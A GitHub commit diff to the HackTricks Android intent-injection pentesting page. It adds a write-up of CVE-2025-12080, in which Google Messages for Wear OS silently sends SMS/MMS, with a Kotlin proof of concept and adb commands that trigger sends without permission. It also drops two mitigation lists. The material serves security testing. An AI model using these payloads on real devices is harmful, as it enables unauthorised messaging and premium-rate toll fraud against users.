Skip to content

Commit 3313890

Browse files
author
HackTricks News Bot
committed
Add content from: CVE-2025-12080 — Intent Abuse in Google Messages for Wear OS...
1 parent e77a089 commit 3313890

File tree

1 file changed

+53
-11
lines changed

1 file changed

+53
-11
lines changed

src/mobile-pentesting/android-app-pentesting/intent-injection.md

Lines changed: 53 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -48,10 +48,6 @@ What to look for in decompiled code:
4848
- Calls to `getSettings().setJavaScriptEnabled(true)` before the last host/path allowlist check.
4949
- A pipeline like: parse → partial validate → configure WebView → final verify → loadUrl.
5050

51-
Mitigations
52-
- Canonicalize once and validate strictly; fail closed.
53-
- Only enable JavaScript after all checks pass and just before loading trusted content.
54-
- Avoid exposing bridges to untrusted origins.
5551

5652
## Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)
5753

@@ -110,6 +106,48 @@ namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/c
110106
Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include `/data` and the app’s private dir, pointing `-xrsdk-pre-init-library` at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution. This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.
111107

112108

109+
## Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)
110+
111+
Some default messaging apps incorrectly auto‑execute implicit messaging intents, turning them into a confused‑deputy primitive: any unprivileged app can trigger `Intent.ACTION_SENDTO` with `sms:`, `smsto:`, `mms:`, or `mmsto:` and cause an immediate send without a confirmation UI and without the `SEND_SMS` permission.
112+
113+
Key points
114+
- Trigger: implicit `ACTION_SENDTO` + messaging URI scheme.
115+
- Data: set recipient in the URI, message text in the `"sms_body"` extra.
116+
- Permissions: none (no `SEND_SMS`), relies on the default SMS/MMS handler.
117+
- Observed: Google Messages for Wear OS (patched May 2025). Other handlers should be assessed similarly.
118+
119+
Minimal payload (Kotlin)
120+
```kotlin
121+
val intent = Intent(Intent.ACTION_SENDTO).apply {
122+
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
123+
putExtra("sms_body", "Hi from PoC")
124+
// From a non-Activity context add NEW_TASK
125+
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
126+
}
127+
startActivity(intent)
128+
```
129+
130+
ADB PoC (no special permissions)
131+
```bash
132+
# SMS/SMS-to
133+
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
134+
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
135+
136+
# MMS/MMS-to (handler-dependent behaviour)
137+
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
138+
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
139+
```
140+
141+
Attack surface expansion (Wear OS)
142+
- Any component capable of launching activities can fire the same payload: Activities, foreground Services (with `FLAG_ACTIVITY_NEW_TASK`), Tiles, Complications.
143+
- If the default handler auto‑sends, abuse can be one‑tap or fully silent from background contexts depending on OEM policies.
144+
145+
Pentest checklist
146+
- Resolve `ACTION_SENDTO` on target to identify the default handler; verify whether it shows a compose UI or silently sends.
147+
- Exercise all four schemes (`sms:`, `smsto:`, `mms:`, `mmsto:`) and extras (`sms_body`, optionally `subject` for MMS) to check behaviour differences.
148+
- Consider charged destinations/premium‑rate numbers when testing on real devices.
149+
150+
113151
## Other classic Intent injection primitives
114152

115153
- startActivity/sendBroadcast using attacker-supplied `Intent` extras that are later re-parsed (`Intent.parseUri(...)`) and executed.
@@ -167,7 +205,9 @@ Full-pipeline automation (interactive executor)
167205
python apk-components-inspector.py app.apk | tee adbcommands.txt
168206
python run_adb_commands.py
169207
```
170-
Helper script (merges continued lines, executes only lines starting with `adb`):
208+
<details>
209+
<summary>Helper script to parse and execute adb commands</summary>
210+
171211
```python
172212
import subprocess
173213

@@ -203,6 +243,9 @@ for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
203243
except subprocess.CalledProcessError as e:
204244
print(f"Command failed with error:\n{e.stderr}")
205245
```
246+
247+
</details>
248+
206249
Run on-device: the inspector is Python-based and works in Termux or rooted phones where `apktool`/`androguard` are available.
207250

208251
---
@@ -250,11 +293,6 @@ Real-world examples (impact varies):
250293
- CVE-2021-4438 (React Native SMS User Consent).
251294
- CVE-2020-14116 (Xiaomi Mi Browser).
252295

253-
Mitigations (developer checklist)
254-
- Do not forward incoming Intents directly; sanitize and re-construct allowed fields.
255-
- Restrict exposure with `android:exported="false"` unless necessary. Protect exported components with permissions and signatures.
256-
- Verify caller identity (`getCallingPackage()`/`getCallingActivity()`), and enforce explicit Intents for intra-app navigation.
257-
- Validate both `action` and `data` (scheme/host/path) before use; avoid `Intent.parseUri` on untrusted input.
258296

259297
---
260298

@@ -280,5 +318,9 @@ Mitigations (developer checklist)
280318
- [Unity docs – Android custom activity command-line](https://docs.unity3d.com/6000.0/Documentation/Manual/android-custom-activity-command-line.html)
281319
- [Unity Security Sept-2025-01 advisory](https://unity.com/security/sept-2025-01)
282320
- [HEXACON talk – Messenger one-click cache-based RCE pattern (slides)](https://www.hexacon.fr/slides/Calvanno-Defense_through_Offense_Building_a_1-click_Exploit_Targeting_Messenger_for_Android.pdf)
321+
- [CVE-2025-12080 — Intent Abuse in Google Messages for Wear OS](https://towerofhanoi.it/writeups/cve-2025-12080/)
322+
- [PoC repo – io-no/CVE-2025-12080](https://github.com/io-no/CVE-Reports/tree/main/CVE-2025-12080)
323+
- [Android docs – Intents and Intent Filters](https://developer.android.com/guide/components/intents-filters)
283324

284-
{{#include ../../banners/hacktricks-training.md}}
325+
326+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)